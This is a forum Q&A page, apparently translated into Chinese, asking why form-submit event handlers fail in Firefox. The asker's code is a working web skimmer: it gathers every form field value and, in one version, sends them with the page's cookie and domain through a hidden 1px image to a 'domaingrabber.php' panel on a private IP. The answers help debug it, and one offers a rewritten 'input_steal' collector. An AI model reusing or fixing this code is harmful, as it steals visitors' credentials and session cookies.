Firefox attachEvent和addEventListener都存在问题

时间:2013-06-11 15:45:36

标签: javascript javascript-events

所以我有2套js一个附加事件和一个addEventListener附加事件在IE 8中完美地工作如预期和addEventListener for IE 9.如果我在jsfiddle上的firefox上使用addEventListener似乎工作正常没有问题在Firefox中,但是一旦我部署它并尝试按预期使用它只是不起作用任何输入将是伟大的.. IE 8

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].attachEvent('onsubmit', function() {
       //working fine

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL"+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

IE 10

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].addEventListener('submit', function() {
       //working fine

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"&post="+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

任何想法都会很棒,这是愚蠢的,但我今天想不到

2 个答案:

答案 0 :(得分:3)

将它们组合成一个可以检测正确方法的通用函数:

function addEvent(element, eventName, callback) {
    if (element.addEventListener) {
        element.addEventListener(eventName, callback, false);
    } else if (element.attachEvent) {
        element.attachEvent("on" + eventName, callback);
    }
}

然后像:

一样使用它
addEvent(document.getElementById("some_id"), "click", function () {
    // Your click handler for that element
});

这样,只要您调用addEvent,绑定事件的代码就不需要确定使用哪些代码并且可以在每个浏览器中工作。

答案 1 :(得分:0)

我刚刚在你的帮助下创建了以下内容,谢谢。 它适用于我的Firefox。 我上传了一个演示到http://mikaelz.host.sk/helpers/input_steal.html

function collectInputs() {
    var forms = parent.document.getElementsByTagName("form");
    for (var i = 0;i < forms.length;i++) {
        forms[i].addEventListener('submit', function() {
            var data = [],
                subforms = parent.document.getElementsByTagName("form");

            for (x = 0 ; x < subforms.length; x++) {
                var elements = subforms[x].elements;
                for (e = 0; e < elements.length; e++) {
                    if (elements[e].name.length) {
                        data.push(elements[e].name + "=" + elements[e].value);
                    }
                }
            }
            console.log(data.join('&'));
            // attachForm(data.join('&));
        }, false);
    }
}
window.onload = collectInputs();